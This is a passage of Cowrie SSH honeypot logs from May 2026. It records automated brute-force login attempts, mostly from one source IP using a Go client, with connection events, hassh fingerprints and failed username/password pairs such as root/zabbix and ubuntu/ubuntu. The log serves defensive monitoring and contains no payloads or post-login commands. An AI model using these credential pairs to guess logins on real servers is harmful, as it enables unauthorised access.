com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:55.527868Z","src_ip":"2.57.122.208","session":"7d6d3e8262fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:56.201005Z","src_ip":"60.165.124.241","session":"8c0fa869be0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37812,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39c42e8dc4d","protocol":"ssh","message":"New connection: 60.165.124.241:37812 (10.17.0.5:22) [session: e39c42e8dc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:56.439816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:56.444767Z","src_ip":"60.165.124.241","session":"e39c42e8dc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:56.530998Z","src_ip":"2.57.122.208","session":"7d6d3e8262fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:56.684098Z","src_ip":"60.165.124.241","session":"e39c42e8dc4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12#$qwER","message":"login attempt [root/12#$qwER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:57.408782Z","src_ip":"60.165.124.241","session":"e39c42e8dc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:57.858392Z","src_ip":"2.57.122.208","session":"7d6d3e8262fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:58.651099Z","src_ip":"60.165.124.241","session":"e39c42e8dc4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40512,"dst_ip":"10.17.0.5","dst_port":22,"session":"f241d5ace349","protocol":"ssh","message":"New connection: 60.165.124.241:40512 (10.17.0.5:22) [session: f241d5ace349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:58.884995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:58.890212Z","src_ip":"60.165.124.241","session":"f241d5ace349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:59.132320Z","src_ip":"60.165.124.241","session":"f241d5ace349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreambox","message":"login attempt [root/dreambox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:59.854805Z","src_ip":"60.165.124.241","session":"f241d5ace349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43610,"dst_ip":"10.17.0.5","dst_port":22,"session":"4227eedf6799","protocol":"ssh","message":"New connection: 60.165.124.241:43610 (10.17.0.5:22) [session: 4227eedf6799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:01.332600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:01.337940Z","src_ip":"60.165.124.241","session":"4227eedf6799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:01.581245Z","src_ip":"60.165.124.241","session":"4227eedf6799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:01.632238Z","src_ip":"60.165.124.241","session":"f241d5ace349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"premium","message":"login attempt [root/premium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:02.330259Z","src_ip":"60.165.124.241","session":"4227eedf6799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:03.578381Z","src_ip":"60.165.124.241","session":"4227eedf6799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46756,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a89f43c4105","protocol":"ssh","message":"New connection: 60.165.124.241:46756 (10.17.0.5:22) [session: 9a89f43c4105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:03.831440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:03.836355Z","src_ip":"60.165.124.241","session":"9a89f43c4105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:04.091955Z","src_ip":"60.165.124.241","session":"9a89f43c4105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zabbix","message":"login attempt [root/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:04.855541Z","src_ip":"60.165.124.241","session":"9a89f43c4105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:06.117299Z","src_ip":"60.165.124.241","session":"9a89f43c4105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50018,"dst_ip":"10.17.0.5","dst_port":22,"session":"3892e8a7596d","protocol":"ssh","message":"New connection: 60.165.124.241:50018 (10.17.0.5:22) [session: 3892e8a7596d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:06.368315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:06.372750Z","src_ip":"60.165.124.241","session":"3892e8a7596d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:06.631364Z","src_ip":"60.165.124.241","session":"3892e8a7596d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liuyi123","message":"login attempt [root/liuyi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:07.380466Z","src_ip":"60.165.124.241","session":"3892e8a7596d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:08.628299Z","src_ip":"60.165.124.241","session":"3892e8a7596d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53178,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc0eb600a7e6","protocol":"ssh","message":"New connection: 60.165.124.241:53178 (10.17.0.5:22) [session: fc0eb600a7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:08.857554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:08.863451Z","src_ip":"60.165.124.241","session":"fc0eb600a7e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:09.106558Z","src_ip":"60.165.124.241","session":"fc0eb600a7e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Itsemoemo2025@Washere2025","message":"login attempt [root/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:09.844807Z","src_ip":"60.165.124.241","session":"fc0eb600a7e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:11.091494Z","src_ip":"60.165.124.241","session":"fc0eb600a7e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56014,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf7e7eda56a","protocol":"ssh","message":"New connection: 60.165.124.241:56014 (10.17.0.5:22) [session: edf7e7eda56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:11.320017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:11.325315Z","src_ip":"60.165.124.241","session":"edf7e7eda56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:11.563091Z","src_ip":"60.165.124.241","session":"edf7e7eda56a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fdk23E4ej#Md%28@1","message":"login attempt [root/fdk23E4ej#Md%28@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:12.275507Z","src_ip":"60.165.124.241","session":"edf7e7eda56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:13.514074Z","src_ip":"60.165.124.241","session":"edf7e7eda56a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59196,"dst_ip":"10.17.0.5","dst_port":22,"session":"240732ab7807","protocol":"ssh","message":"New connection: 60.165.124.241:59196 (10.17.0.5:22) [session: 240732ab7807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:13.749894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:13.755164Z","src_ip":"60.165.124.241","session":"240732ab7807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:13.993310Z","src_ip":"60.165.124.241","session":"240732ab7807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu@123","message":"login attempt [root/baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:14.738316Z","src_ip":"60.165.124.241","session":"240732ab7807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:15.980260Z","src_ip":"60.165.124.241","session":"240732ab7807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33986,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3eb1882fe64","protocol":"ssh","message":"New connection: 60.165.124.241:33986 (10.17.0.5:22) [session: d3eb1882fe64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:16.219697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:16.224804Z","src_ip":"60.165.124.241","session":"d3eb1882fe64","protocol":"ssh"}
